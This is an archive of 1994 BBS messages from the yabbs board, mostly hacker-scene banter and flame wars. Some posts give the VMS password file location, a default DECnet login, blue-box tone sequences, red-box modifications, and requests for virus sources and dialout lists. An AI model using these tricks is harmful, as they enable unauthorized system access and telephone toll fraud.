imfamous aren't you? Hmmmmm I wonder....
|
|
|
|
From cosmos@yabbs Mon Feb 21 14:44:41 1994
|
|
From: cosmos@yabbs
|
|
To: Cat@yabbs
|
|
Subject: re: You were right
|
|
Date: Mon Feb 21 14:44:41 1994
|
|
|
|
Yes! Go Tam! Heheheh, bet you had a blast reading the comp stuff!
|
|
Normally I'd flame someone till hell froze over for posting off topic
|
|
messages but Ill cut you some slack this time...
|
|
|
|
Cosmos
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|
|
|
|
|
From DrClaw@yabbs Tue Feb 22 02:03:25 1994
|
|
From: DrClaw@yabbs
|
|
To: all@yabbs
|
|
Subject: vax/vms password file
|
|
Date: Tue Feb 22 02:03:25 1994
|
|
|
|
for the one asking..the vax/vms password files exact names
|
|
is
|
|
sys$uaf.dat
|
|
usually found at sys$exe:[000000]
|
|
hasta
|
|
|
|
From GreyWolf@yabbs Tue Feb 22 21:07:18 1994
|
|
From: GreyWolf@yabbs
|
|
To: all@yabbs
|
|
Subject: Port No.s
|
|
Date: Tue Feb 22 21:07:18 1994
|
|
|
|
Greetings from the North Side. Ok, scenerio.. person of whom had
|
|
learned alot of stuff on his old dos clone. Person goes to College, gets
|
|
net access, and realizes there is alot more out there than just being
|
|
stuck calling local BBS's on a 2400 bd modem. My question.. STD port
|
|
numbers, what are some of them? The only one that I know for sure is the
|
|
mail port 25, and the handshake.. but I would also like to know.. what is
|
|
some of the handshakes for the others?
|
|
|
|
Thank you kindly for your time and effort:
|
|
GreyWolf
|
|
|
|
From htoaster@yabbs Tue Feb 22 23:03:41 1994
|
|
From: htoaster@yabbs
|
|
To: GreyWolf@yabbs
|
|
Subject: re: Port No.s
|
|
Date: Tue Feb 22 23:03:41 1994
|
|
|
|
look in /etc/services on any unix machine. it will have most of the ports
|
|
for that machine (anything started by inetd)... you can connect to
|
|
any of the ones marked as tcp ports with telnet...
|
|
|
|
alex
|
|
|
|
|
|
From binkley@yabbs Tue Feb 22 23:32:50 1994
|
|
From: binkley@yabbs
|
|
To: DrClaw@yabbs
|
|
Subject: re: vax/vms password file
|
|
Date: Tue Feb 22 23:32:50 1994
|
|
|
|
in reply to a message from Dr.Claw
|
|
>For the one asking..the vax.vms password files exact names
|
|
>is
|
|
>sys$uaf.dat
|
|
usually found at sys$exe:[000000]
|
|
hasta
|
|
|
|
Thank you Dr. Claw. How come no answer from you Cosmos... finally find
|
|
something you could't tell everybody to showboat yourself?!?!
|
|
|
|
From cosmos@yabbs Wed Feb 23 09:09:52 1994
|
|
From: cosmos@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: vax/vms password file
|
|
Date: Wed Feb 23 09:09:52 1994
|
|
|
|
|
|
*YAWN*
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|
|
|
Cosmos
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|
|
|
From Dauber@yabbs Thu Feb 24 14:11:03 1994
|
|
From: Dauber@yabbs
|
|
To: Justin@yabbs
|
|
Subject: re: boxes
|
|
Date: Thu Feb 24 14:11:03 1994
|
|
|
|
Well, Justin, the bluebox is the phreaker's best friend, but
|
|
unfortunately, they are so easily and quickly detected...
|
|
|
|
It all started back in the '50's when a blind 8-year-old was screwing
|
|
around with 800 numbers on the phone, listening to the recordings. Well,
|
|
one day, he was habitually whistling while on the phone, and when one of
|
|
the recordings was playing, one of the tones he whistled shut off the
|
|
recording, so he tried experiementing with different tones, and eventually
|
|
people adapted his idea and invented the bluebox, which produces special
|
|
tones, blah blah blah.
|
|
|
|
Read more about it in the book _Outside The Inner Circle_..
|
|
|
|
From uufnord@yabbs Fri Feb 25 02:48:59 1994
|
|
From: uufnord@yabbs
|
|
To: al@yabbs
|
|
Subject: chugga chugga
|
|
Date: Fri Feb 25 02:48:59 1994
|
|
|
|
Chugga chugga chugga. Chugga jitter chugga chugga. Jitter chugga chugga
|
|
jitter chugga, chugga chugga jitter jitter. Chugga jitter jitter jitter
|
|
chugga chugga, chugga jitter chugga. Chugga chugga chugga jitter chugga,
|
|
jitter chugga chuuga jitter. Jitter chugga chugga jitter jitter jitter
|
|
chugga. Chugga jitter jitter, chugga chugga jitter. Jitter! Chugga
|
|
chugga jitter chugga jitter chugga. Jitter chugga jitter chugga chugga
|
|
jitter jitter. Chugga chugga chugga chugga chugga chugga chugga.
|
|
|
|
Chugga Jitter
|
|
|
|
From cosmos@yabbs Fri Feb 25 05:22:38 1994
|
|
From: cosmos@yabbs
|
|
To: uufnord@yabbs
|
|
Subject: re: chugga chugga
|
|
Date: Fri Feb 25 05:22:38 1994
|
|
|
|
Chalk another lamer up in yabbs.
|
|
|
|
Cosmos
|
|
|
|
From GodEater@yabbs Sun Feb 27 17:30:42 1994
|
|
From: GodEater@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: Blue Boxing
|
|
Date: Sun Feb 27 17:30:42 1994
|
|
|
|
Actually, it is still possible to blue box a number of different ways.
|
|
One method is to get an 800 country code number, and box off of that.
|
|
Another is to do it in an area such that you don't go through a ESS
|
|
station, though this requires more knowledge about the phone system than I
|
|
have. As a disclaimer, I have done neither of these, but I know people who
|
|
have, and still do.
|
|
God Eater
|
|
|
|
From Dauber@yabbs Mon Feb 28 13:58:57 1994
|
|
From: Dauber@yabbs
|
|
To: DrClaw@yabbs
|
|
Subject: re: vax/vms password file
|
|
Date: Mon Feb 28 13:58:57 1994
|
|
|
|
I wish it was that easy! ON our VMS system, the passwords are encrypted,
|
|
so if you lose/forget your password, they have to totally destroy your
|
|
original one because they can't find it!
|
|
|
|
You wanna see how VMS has no security? Just go to any VAX system and
|
|
log in as "decnet". The default password is "Decnet" and chances are your
|
|
system administrator didn't change it! I stumbled upon this in our
|
|
school's VAX....and got caught! Needless to say, they changed the
|
|
password--and FAST!
|
|
|
|
From Dauber@yabbs Mon Feb 28 14:01:22 1994
|
|
From: Dauber@yabbs
|
|
To: GodEater@yabbs
|
|
Subject: re: Blue Boxing
|
|
Date: Mon Feb 28 14:01:22 1994
|
|
|
|
I'm told that supposedlly a famous 800 number shuts down late at night and
|
|
gives you a pseudo-blue box....it may be 1-800-FLOWERS [Amlings] ...you
|
|
dial the number and supposedly get a second dial tone, and then dial
|
|
whereever you want...I've tried this, and it's a lot of BS...
|
|
|
|
From hawkwind@yabbs Mon Feb 28 14:51:27 1994
|
|
From: hawkwind@yabbs
|
|
To: GodEater@yabbs
|
|
Subject: re: Blue Boxing
|
|
Date: Mon Feb 28 14:51:27 1994
|
|
|
|
Yep..you can get an 800 country code and box off that ...its a bit more
|
|
complicated than the ole 2600HZ of yester year...there are different
|
|
freq's for different countries and the timing has to be more exact.
|
|
My question is this:
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If you're going through an initial 5ESS exchange surely it will
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detect you? -ie most of us are on 5ESS or equivently smart exchanges these
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days
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even over here in Europe... ;-(
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I was reading a technical manual from Northern Telecom on Bluebox
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detection on their DMS 100/200 exchange (I think thats right?) and it
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was well scary...once it detected you...the software you were using
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had the ability to disconnect the call, or bill you for the call placed
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using the new MF tones (the blue box tones..)
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[sorry, thats meant to bwe the software they were using (northern
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Telecom)]
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Any comments? Cosmos maybe?
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L8rs,
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Hawkwind.
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From cosmos@yabbs Mon Feb 28 15:32:44 1994
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From: cosmos@yabbs
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To: hawkwind@yabbs
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Subject: re: Blue Boxing
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Date: Mon Feb 28 15:32:44 1994
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Yep. You got it Hawk. The newer software can disconnect, trace, bill,
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whatever to the idiot that is gonna bluebox. Sorry guys, I am not a
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phreak person and I really dont get into the inner workings of Ma Bell.
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Basically, less your super fucking good dont bother. Or go ahead and you
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face Ma bell and her lawyers.
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Cosmos
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From sirius@yabbs Mon Feb 28 17:37:05 1994
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From: sirius@yabbs
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To: all@yabbs
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Subject: multiplexor
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Date: Mon Feb 28 17:37:05 1994
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I found this strange sysytem a few days ago and I have no idea what it
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means. WHen I log on it says something like AT&T DCC-2000 Multiplexor.
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then doesn't prompt for an id or anything, just gives me a list of options
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, soe being to change the alarms, and misc numbers which have no meaning
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to me...
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-siruius
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From mips@yabbs Tue Mar 1 03:16:15 1994
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From: mips@yabbs
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To: hawkwind@yabbs
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Subject: re: Blue Boxing
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Date: Tue Mar 1 03:16:15 1994
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Boxing International 800 numbers:
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Forget all the different frequencies for different countries. U should use
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2400/2600 to release the connection followed by a short pauseand then
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seize a trunk using 2400. Keep in mind that timing is critical here !
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Cherio
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mips
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From SamIam@yabbs Tue Mar 1 12:02:03 1994
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From: SamIam@yabbs
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To: hawkwind@yabbs
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Subject: re: Blue Boxing
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Date: Tue Mar 1 12:02:03 1994
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Just don't try Sweeden, they have NASTY hardware on their AXes!
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Anyway, good luck.
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From CB@yabbs Tue Mar 1 16:24:13 1994
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From: CB@yabbs
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To: all@yabbs
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Subject: Clipper info
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Date: Tue Mar 1 16:24:13 1994
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I seek some info on clipper. I have read some of the recent writeups in
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CPSR and RISKS, even one in some net based telecom forum. I wish to see
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some files or something that I can read to get a more firm grasp on what
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exatly is going on. Is there anyone who can lead me to an ftp site where
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I can get what this?
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Brinx
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From micke@yabbs Wed Mar 2 08:03:07 1994
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From: micke@yabbs
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To: SamIam@yabbs
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Subject: AXE ,,,
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Date: Wed Mar 2 08:03:07 1994
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WOW first time ever i've heard sweden mentioned in
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this (and other bbs'es) ... i guess it's part
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because of AXE it seem to make life hard ....
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is there anyone that have some kind of in fo on
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AXE .. is it _possible_ by not to extreem means
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to fool with it ?
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From Morph@yabbs Sat Mar 5 09:54:08 1994
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From: Morph@yabbs
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To: all@yabbs
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Subject: 2600
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Date: Sat Mar 5 09:54:08 1994
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Ahh...went to the 2600 meeting last night...god it was cool..
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They all have *SO* much information...HaCkErs should rule the world....
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btw, anyone have on OKI 900 for sale? programmed or umprogrammed....
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From cosmos@yabbs Sun Mar 6 14:40:56 1994
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From: cosmos@yabbs
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To: Morph@yabbs
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Subject: re: 2600
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Date: Sun Mar 6 14:40:56 1994
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This is what happens when one attensds 2600
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This is your brain, this is your brain on 2600 highs.
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Friends dont let friends do 2600 meets...
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Cosmos
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From Morph@yabbs Sun Mar 6 17:32:14 1994
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From: Morph@yabbs
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To: cosmos@yabbs
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Subject: re: 2600
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Date: Sun Mar 6 17:32:14 1994
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Ok Ok...2600 high...
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so shoot me...it was cool though...
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From radiant@yabbs Sun Mar 6 17:45:52 1994
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From: radiant@yabbs
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To: Morph@yabbs
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Subject: all
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Date: Sun Mar 6 17:45:52 1994
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Hehehe I would love an OKI-900 especially after reading the December Nuts
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and Volts!!!! :)
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From cosmos@yabbs Sun Mar 6 18:54:50 1994
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From: cosmos@yabbs
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To: Morph@yabbs
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Subject: re: 2600
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Date: Sun Mar 6 18:54:50 1994
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heheh
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I was at one okay 2600 meet once. But then the BBS junkies showed up and
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it turned into the usual make me a redbox show me the cellular shit and
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whos got da k0d3Z lamefest it usually is
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Cosmos
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From Morph@yabbs Sun Mar 6 20:09:19 1994
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From: Morph@yabbs
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To: radiant@yabbs
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Subject: re: all
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Date: Sun Mar 6 20:09:19 1994
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Yeah...someone at the 2600, 2 ppl as a matter of fact, had them....
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They werent programmed, but they can still be used as cellular
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scanners...it's not worth $300 for a scanner though...
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one guy had a cool redbox, bernie...instead of the usual spdt, it had a
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mercury switch, when thee box was rightside up, it was a dialer
|
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when it was upside down, it was a redbox,...
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From JasonLee@yabbs Sun Mar 6 23:06:42 1994
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From: JasonLee@yabbs
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To: cosmos@yabbs
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Subject: re: 2600
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Date: Sun Mar 6 23:06:42 1994
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Oh come on! What's so terrible about the 2600 meetings? From what I've
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seen, not much real hacking or plotting or anything goes on, it's just
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friends just hanging around.
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JasonLee
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From MetalGod@yabbs Mon Mar 7 01:26:50 1994
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From: MetalGod@yabbs
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To: JasonLee@yabbs
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Subject: re: 2600
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Date: Mon Mar 7 01:26:50 1994
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Most of the people here (LA) who go to 2600 meetings are BBS junkies, and
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if you know what the state of BBSing is like around here, you'd avoid 2600
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meetings like the plague.. I know I do.
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MetalGod (formerly BassGod)
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From cosmos@yabbs Mon Mar 7 09:52:23 1994
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From: cosmos@yabbs
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To: Morph@yabbs
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Subject: re: all
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Date: Mon Mar 7 09:52:23 1994
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Wow!!!!!
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A dialer and a redbox!! |<-RaD 3l33t!
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It's called a combo box and is made just as easy as the idiot red box with
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out the dialer still in place. Yep, sounds like the same old 2600 to me.
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Cosmos
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From cosmos@yabbs Mon Mar 7 09:55:36 1994
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From: cosmos@yabbs
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To: JasonLee@yabbs
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Subject: re: 2600
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Date: Mon Mar 7 09:55:36 1994
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Well, if hanging around high school BBS junkies and ignorant morons with a
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coupole of red boxes is cool then go for it. SOme of us actually have
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better things to do
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Cosmos
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/s
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From JasonLee@yabbs Mon Mar 7 15:24:17 1994
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From: JasonLee@yabbs
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To: MetalGod@yabbs
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Subject: re: 2600
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Date: Mon Mar 7 15:24:17 1994
|
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Yes, I understand very well. There were a couple BBS guys at the last DC
|
|
meeting I went to, and they just sat around, playing with some MFM HDs
|
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they brought for no apparent reason. Damn, BBSes are annoying. At least,
|
|
hack ones are. There are some fun places where you can talk and stuff...
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JasonLee
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From JasonLee@yabbs Mon Mar 7 15:26:24 1994
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From: JasonLee@yabbs
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To: cosmos@yabbs
|
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Subject: re: 2600
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Date: Mon Mar 7 15:26:24 1994
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No, what I'm saying is that if you have friends who will be there who you
|
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rarely see (except through computer connections), then the meetings are
|
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fun. Of course, none of us have friends who are BBS junkies or red box
|
|
freaks. Nope, not us. ;)
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JasonLee
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From RAgent@yabbs Tue Mar 8 07:10:29 1994
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From: RAgent@yabbs
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To: all@yabbs
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Subject: Hacking
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Date: Tue Mar 8 07:10:29 1994
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Hey dudes,
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I am probably the best hacker on the modern scene. I can do it all and I
|
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aint got busted yet. YOu want RedBox?? I got it and I can make them for
|
|
you guys too. I know about IRC and MUCK/MUDS and I have a UniX account
|
|
that I hacked with a cool password hacker.
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2600 is the coolest. COSMO go fudgepack a dog, I am too better than uyou
|
|
and you know it...2600 is for cool people like me not people like you.
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Ive crashed systems everywhere and lot of BBS systems too.
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RAgent
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From Dauber@yabbs Tue Mar 8 09:13:37 1994
|
|
From: Dauber@yabbs
|
|
To: RAgent@yabbs
|
|
Subject: re: Hacking
|
|
Date: Tue Mar 8 09:13:37 1994
|
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|
|
It is a general rule that anyone who brags about his/her hacking experiene
|
|
s should be classifeied a lamer...
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|
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Can't wait till the sysop sees your message!
|
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|
|
If you're so good, why not try to crash this bbs?
|
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From cosmos@yabbs Tue Mar 8 10:37:05 1994
|
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From: cosmos@yabbs
|
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To: RAgent@yabbs
|
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Subject: re: Hacking
|
|
Date: Tue Mar 8 10:37:05 1994
|
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This is a joke...right??
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God I hope so...
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I know the real RAgent jerkoff...nice try.
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Cosmos
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From 000@yabbs Tue Mar 8 11:59:58 1994
|
|
From: 000@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Hacking
|
|
Date: Tue Mar 8 11:59:58 1994
|
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I'd tend to agree as anyone e who tends to brag about hacking, and
|
|
hasn't gotten caught yet is bound to very shortly.
|
|
000
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From Morph@yabbs Tue Mar 8 16:40:12 1994
|
|
From: Morph@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: all
|
|
Date: Tue Mar 8 16:40:12 1994
|
|
|
|
I know...i have a dialer and a red box, i just meant that the mercury
|
|
switch was cool....
|
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|
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From JasonLee@yabbs Tue Mar 8 19:11:12 1994
|
|
From: JasonLee@yabbs
|
|
To: RAgent@yabbs
|
|
Subject: re: Hacking
|
|
Date: Tue Mar 8 19:11:12 1994
|
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|
|
That was cool! HAHAHAA!!!
|
|
I love sarcasm! That was sarcastic, wasn't it? It wasn't?
|
|
In that case:
|
|
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!!!!!!
|
|
Ah, hackers! Don't you love them?
|
|
|
|
JasonLee
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|
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From Kashmir@yabbs Thu Mar 10 00:24:40 1994
|
|
From: Kashmir@yabbs
|
|
To: Dauber@yabbs
|
|
Subject: re: Hacking
|
|
Date: Thu Mar 10 00:24:40 1994
|
|
|
|
No kiddin.. most people who say they're hackers most of the time aren't.
|
|
|
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From Angstrom@yabbs Fri Mar 11 20:06:41 1994
|
|
From: Angstrom@yabbs
|
|
To: all@yabbs
|
|
Subject: bbs..
|
|
Date: Fri Mar 11 20:06:41 1994
|
|
|
|
Alright here's a board my friend just set up if anyone is interested
|
|
1-706-613-0750 this is a H/P only and the NUP is Willow...later
|
|
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From Phain@yabbs Tue Mar 15 11:53:39 1994
|
|
From: Phain@yabbs
|
|
To: all@yabbs
|
|
Subject: Loud Hackers
|
|
Date: Tue Mar 15 11:53:39 1994
|
|
|
|
Funny thing,
|
|
From what I've seen those who brag about their abilities the most
|
|
have few true abilities to brag about. Hacking isn't about speaking loud
|
|
words, it's about doing deeds. Anyone who thinks loudmouthing on BBS's
|
|
is a really great idea needs to get a clue. Better yet, they need to
|
|
read _The Hacker Crackdown_ by Bruce Sterling. Those who can, do. Those
|
|
who can't value volume over action.
|
|
RAgent, get a life man. none of us give a flying f**k how loud you
|
|
can type. Say something useful or just keep your mouth shut.
|
|
-Phain
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From uufnord@yabbs Tue Mar 15 14:36:07 1994
|
|
From: uufnord@yabbs
|
|
To: all@yabbs
|
|
Subject: my heroin addiction
|
|
Date: Tue Mar 15 14:36:07 1994
|
|
|
|
i'd just like to say that my heroin addiction has caused me to stop using
|
|
caps.
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|
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From Jeremiah@yabbs Tue Mar 15 16:15:17 1994
|
|
From: Jeremiah@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: Loud Hackers
|
|
Date: Tue Mar 15 16:15:17 1994
|
|
|
|
I agree, there have been some loadmouthed people here talking...
|
|
Actions speed louder than words children... Anyway, The Hacker Crackdown
|
|
was a great book... Do you know of any other good realing like that?
|
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|
|
From panzer@yabbs Tue Mar 15 20:19:21 1994
|
|
From: panzer@yabbs
|
|
To: all@yabbs
|
|
Subject: BBS Advert
|
|
Date: Tue Mar 15 20:19:21 1994
|
|
|
|
As someone else has posted a BBS number, I thought I toss this out also.
|
|
I help run this system, and we are specializing in privacy for the users.
|
|
If you would like more information than either leave me mail here. Or the
|
|
preferred way, panzer@dhp.com.
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|
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tools available on UNIX machines.
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We Specialize in Privacy of ALL Users
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Contact Us For More Information About Our "Group" Accounts
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From Dprogram@yabbs Tue Mar 15 21:42:35 1994
|
|
From: Dprogram@yabbs
|
|
To: Jeremiah@yabbs
|
|
Subject: re: Loud Hackers
|
|
Date: Tue Mar 15 21:42:35 1994
|
|
|
|
I think it's obious that RAgent is a joke on the level of BIFF.
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From JasonLee@yabbs Wed Mar 16 13:35:17 1994
|
|
From: JasonLee@yabbs
|
|
To: panzer@yabbs
|
|
Subject: re: BBS Advert
|
|
Date: Wed Mar 16 13:35:17 1994
|
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|
|
That sounds like a nice place. I might have to get an account there once
|
|
I get out of school. What sort of modem access is there? Local lines
|
|
everywhere, or would I have to dial long-distance (from Maryland) to
|
|
connect?
|
|
|
|
JasonLee
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From Destro@yabbs Wed Mar 16 23:44:11 1994
|
|
From: Destro@yabbs
|
|
To: RAgent@yabbs
|
|
Subject: re: Hacking
|
|
Date: Wed Mar 16 23:44:11 1994
|
|
|
|
Heh! I've personaly noticed that the more a person has to defend or
|
|
proclaim his/her abilities, in ANY field of endevour, he/she is blowing
|
|
hot air ... Cosmos may not be the ultimate hacker, I doubt that he/she is,
|
|
simply because of the stagering probabilities involved. But I know two
|
|
things: YOU are not God's gift to hackers 2) Cosmos knows what he/she is
|
|
talking about (notably, those who do, usually only talk when they do). Go
|
|
back to kydie skuul, cuz u ain't red-e 4 the real wurld ...
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From Justin@yabbs Thu Mar 17 12:30:09 1994
|
|
From: Justin@yabbs
|
|
To: Angstrom@yabbs
|
|
Subject: re: bbs..
|
|
Date: Thu Mar 17 12:30:09 1994
|
|
|
|
Hmmm... That's North Georgia, I believe. My neck of the woods. Were is it
|
|
based in? I cosysoped one of the first big bbs' in North Georgia,
|
|
Cybernet. I was just curious, being that North Georgia's a pretty small
|
|
place. Take it easy....
|
|
Justin,
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From Dprogram@yabbs Thu Mar 17 19:41:41 1994
|
|
From: Dprogram@yabbs
|
|
To: all@yabbs
|
|
Subject: red ...
|
|
Date: Thu Mar 17 19:41:41 1994
|
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|
|
People kept telling me that if you used the 6.49 Mhz crystal on the
|
|
disgustingly infamous Rat Shack dialer, the frequencies "can't" be
|
|
blocked, becasu they are the correct frequencies. Then I learned that the
|
|
combo box doesn't produce a correct quarter anyway, but does five nickels!
|
|
That thing still fools ACTS, but it would never work on an operator, and
|
|
phreaks need to know this. I considered building a quarter-type red box,
|
|
but I've reconsidered. The combo box conversionn was supposed to be a
|
|
quick hack job to get you red boxing in a hurry, and it worked in this
|
|
respect. But my energy would be better spent making a good quality
|
|
recording from a real pay phone.
|
|
Whoever got the non-memory dialer, using redial to send dimes seems like
|
|
not such a bad idea after all to me. Also, you can open it up and access
|
|
the extra DTMF tones (A-D).
|
|
I tried using a tape recordeing without success, but something like DAT
|
|
would do the job, I'll bet.
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From Morph@yabbs Thu Mar 17 21:45:42 1994
|
|
From: Morph@yabbs
|
|
To: Dprogram@yabbs
|
|
Subject: re: red ...
|
|
Date: Thu Mar 17 21:45:42 1994
|
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|
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if you encounter an operator, then just put in a real coin, i nickel or
|
|
dime or something, then go from there...
|
|
They started making the boxes again, they're the same inside, but they
|
|
look totally different, all black with grey buttons...its cool..
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From Xela@yabbs Fri Mar 18 13:47:49 1994
|
|
From: Xela@yabbs
|
|
To: Dprogram@yabbs
|
|
Subject: digital tones
|
|
Date: Fri Mar 18 13:47:49 1994
|
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|
|
My frined has a mac program which can generate digital tones using the
|
|
mathematical formulas which determine the tones in the first place. I
|
|
believe it uses a Fourier series to approximate the tones that crystal
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makes. Anyway, we fed the tones into my pearlcorder and off to the pay
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phone! DAT recording through an optical feed would be even better, but a
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DAT recorder costs 800 dollars and the optical line costs another 50, so
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it isn't cheap. And you would have to have an optical output from the
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mac, or pc (whatever you happen to use).
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L8rs,
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Alex
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From cosmos@yabbs Sun Mar 20 18:50:20 1994
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From: cosmos@yabbs
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To: Destro@yabbs
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Subject: re: Hacking
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Date: Sun Mar 20 18:50:20 1994
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heheh...Male buddy. ;)
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Me an ultimate hacker??? nahhhh
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Cosmos
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From Angstrom@yabbs Mon Mar 21 18:24:11 1994
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From: Angstrom@yabbs
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To: Justin@yabbs
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Subject: re: bbs..
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Date: Mon Mar 21 18:24:11 1994
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Yep, the board is based in Ahtesn, GA. I have heard of the Cybernet
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BBS but it was a bit early for my time :)...there is now over 4000 virii
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on this board...later.
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From TheDev@yabbs Tue Mar 22 03:56:10 1994
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From: TheDev@yabbs
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To: Dprogram@yabbs
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Subject: re: red ...
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Date: Tue Mar 22 03:56:10 1994
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Although the RatShack conversion models produce horribly timed pseudo
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quarters, they DO fool the operators I have dealt with. I've seen
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international calls made with 'em (where you have to deal with an
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operator).
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The DEv
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From hawkwind@yabbs Tue Mar 22 20:09:37 1994
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From: hawkwind@yabbs
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To: all@yabbs
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Subject: IIRG and TRSI
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Date: Tue Mar 22 20:09:37 1994
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Greetz,
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OK, I was doing some H/P NU verification test on some board, and I think
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I got most of the questions but the following two puzzled me.
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--call me a newbie, or maybe I'm just missing the obvious?
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Anyway, can anyone shed the light on these:
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1. IIRG
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2. TRSI
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L8rs,
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Hawk.
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From cosmos@yabbs Tue Mar 22 21:03:03 1994
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From: cosmos@yabbs
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To: hawkwind@yabbs
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Subject: re: IIRG and TRSI
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Date: Tue Mar 22 21:03:03 1994
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In message IIRG and TRSI, hawkwind said:
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> Greetz,
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> OK, I was doing some H/P NU verification test on some board, and I think
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> I got most of the questions but the following two puzzled me.
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> --call me a newbie, or maybe I'm just missing the obvious?
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> Anyway, can anyone shed the light on these:
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> 1. IIRG
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> 2. TRSI
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> L8rs,
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> Hawk.
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>
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Pffft...
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First off these so called "H/P" BBS are a load of crap. And any crummy
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worthless high school kiddie BBS that makes me take tests to get on is not
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worth my time or effort.
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Have fun being 3l33t
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Cosmos
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From Bingley@yabbs Wed Mar 23 21:13:30 1994
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From: Bingley@yabbs
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To: cosmos@yabbs
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Subject: re: IIRG and TRSI
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Date: Wed Mar 23 21:13:30 1994
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>Pffft...
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>
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>First off these so called "H/P" BBS are a load of crap. And any crummy
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>worthless high school kiddie BBS that makes me take tests to get on is
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not
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>worth my time or effort.
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>
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>Have fun being 3l33t
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>
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>Cosmos
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Nice attitude. Why not be constructive instead of being such a lam3r?
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This guy asked for help, not for your obnoxious comments.
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GET OFF YOUR HIGH HORSE COSMOS.
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From SamIam@yabbs Thu Mar 24 01:02:02 1994
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From: SamIam@yabbs
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To: hawkwind@yabbs
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Subject: re: IIRG and TRSI
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Date: Thu Mar 24 01:02:02 1994
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IIRG sounds very familiar...
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TRSI is a pirate group (tristar redsector i think)
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I don't know why an h/p board would have THAT as a question
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oh well...
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good luck
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From cosmos@yabbs Thu Mar 24 09:46:19 1994
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From: cosmos@yabbs
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To: Bingley@yabbs
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Subject: re: IIRG and TRSI
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Date: Thu Mar 24 09:46:19 1994
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Nahh...Id rather stay on it Bingley. Are you justifying the 3l33t BBS
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scene?? Perhaps you should get your head examined.
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Cosmos
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(On the mighty horse as always)
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From cosmos@yabbs Thu Mar 24 09:46:52 1994
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From: cosmos@yabbs
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To: SamIam@yabbs
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Subject: re: IIRG and TRSI
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Date: Thu Mar 24 09:46:52 1994
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Because they are lame Sam.
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Cosmos
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From peg@yabbs Fri Mar 25 09:43:31 1994
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From: peg@yabbs
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To: all@yabbs
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Subject: Something wierd with tasm f
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Date: Fri Mar 25 09:43:31 1994
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Hm.. I see that the password file here has been reset, and somebodye else
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has taken my old username, oh well. Anywaay:
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Does anyone know if something wierd has happened with the tasm from
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bcc3.1? I nneded to write a program that put a wrapper on some other
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programs that I have (to prevent lamers from modifying text in the
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program), and I decided to use the example virii from 40hex vol 8. Only
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problem is that I can only get that program to run propperly if i
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singlestep through it, using td386. If I try to run it, it runs head-first
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into an halt instruction, whre the jump should have been. Seems like the
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dosint which was supposed to set the PSP fails.
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My system: dos 5.0 (I think, dont really remember, as I've replaced dos
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with linux most of the time). 486dx-33 20mb ram.
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btw: does anyone know any i-net sites that cary the 40hex vols after vol
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10? I'm also looking for a site carrying viriis.
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I'll make my anon e-mail address, as well as my public-key (pgp) available
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as soon as I get to a terminal with cut&paste. Sorry for the typos, but
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this link is slllooowwwww. (norway->us)
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From SamIam@yabbs Sat Mar 26 12:09:59 1994
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From: SamIam@yabbs
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To: arachnoi@yabbs
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Subject: re: IIRG and TRSI
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Date: Sat Mar 26 12:09:59 1994
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I like it ;)
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From SamIam@yabbs Sat Mar 26 12:11:50 1994
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From: SamIam@yabbs
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To: peg@yabbs
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Subject: re: Something wierd with tasm f
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Date: Sat Mar 26 12:11:50 1994
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netsys.com has 40hex *shhhhhh* ;)
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From SamIam@yabbs Sat Mar 26 12:14:08 1994
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From: SamIam@yabbs
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To: SamIam@yabbs
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Subject: re: Something wierd with tasm f
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Date: Sat Mar 26 12:14:08 1994
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Why don't you read the whole thread before replying, LAMER
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'nuff sed
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From NStalker@yabbs Sun Mar 27 12:38:51 1994
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From: NStalker@yabbs
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To: all@yabbs
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Subject: anon unix or at least mail
|
|
Date: Sun Mar 27 12:38:51 1994
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Gawd, do you know how long it takes to read all 898 messages in this
|
|
message board? (hint: many hours)
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|
I am trying to find a freenet out there somewhere that is _totally_
|
|
anonymous, where I don't have to send anything in to them, or pay...
|
|
NYX is cool, but I don't wanna send id, I tried others too. santafe wants
|
|
me to sign something, and mindvox wants money (like most places) I need at
|
|
least anon mail. I can get mail at launchpad.unc.edu as Night.Stalker, but
|
|
I can't reply or send mail outside the system... Is there anywhere someone
|
|
could point me to which allows me at least a mail account with a name I
|
|
pick, and preferably a Unix account with telnet/ftp? It seems that there
|
|
_used_ to be more anon places, but they all now require ID or something...
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DIALOUTS: This seemed to be a hot topic, oh, maybe 600 posts back or so.
|
|
Anyone got sites/lists they wanna trade? Mail> me here (or actually, @ me
|
|
here) I got various lists...Especially looking for 815/708/414/608 if
|
|
there are such avail. I have no outside lines here, so the inet is my only
|
|
link to the world :(
|
|
|
|
I have thought of anon mail via penet.fi, but that defeats the purpose, as
|
|
sysadmins here at school can still read my mail if they wish since all
|
|
that does is forwards it.
|
|
__
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|
///|//<<'/<
|
|
. ///|//<<'/<
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From feotus@yabbs Sun Mar 27 13:33:10 1994
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|
From: feotus@yabbs
|
|
To: NStalker@yabbs
|
|
Subject: re: anon unix or at least mail
|
|
Date: Sun Mar 27 13:33:10 1994
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at cybernet.cse.fua.edu I believe it is there is a BBS that will allow you
|
|
to mail and recieve mail from outside completely anon. Take s alittle
|
|
time to get validated and you dont get shell acces, but if all you wnt is
|
|
an address than go there. As for anon@anon.penet.fi, if your looking for
|
|
someplace where the sysop wont read your mail, you'll be looking forever
|
|
man. The best thing you can do is get yoursefl a copy of PGP publik key
|
|
encrytpian scheme and use that for all of the questionable mail, and IMO
|
|
use it as much as possible, since there most definetly are people out
|
|
there reading mail. Sysops, sniffers etc..
|
|
|
|
From buzzbomb@yabbs Sun Mar 27 14:17:46 1994
|
|
From: buzzbomb@yabbs
|
|
To: Bingley@yabbs
|
|
Subject: re: IIRG and TRSI
|
|
Date: Sun Mar 27 14:17:46 1994
|
|
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|
all those bbs's usually are are people trading warez, codez, maybe
|
|
a few passwords they pilfered, virii that they don't know how to use...
|
|
i'm not all that knowledgeable about a lot of stuff, but i'll be the first
|
|
to admit it. the guys that run 90% of those boards are a bunch of mooching
|
|
posers. or at least that;s been my experience.
|
|
not too mention they've got an attitude twice as bad as most of the
|
|
people here seem to think cosmo has.
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|
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|
From cosmos@yabbs Sun Mar 27 18:42:49 1994
|
|
From: cosmos@yabbs
|
|
To: NStalker@yabbs
|
|
Subject: re: anon unix or at least mail
|
|
Date: Sun Mar 27 18:42:49 1994
|
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708 eh??? A chicago burbs man?? 815 is downstate right??
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|
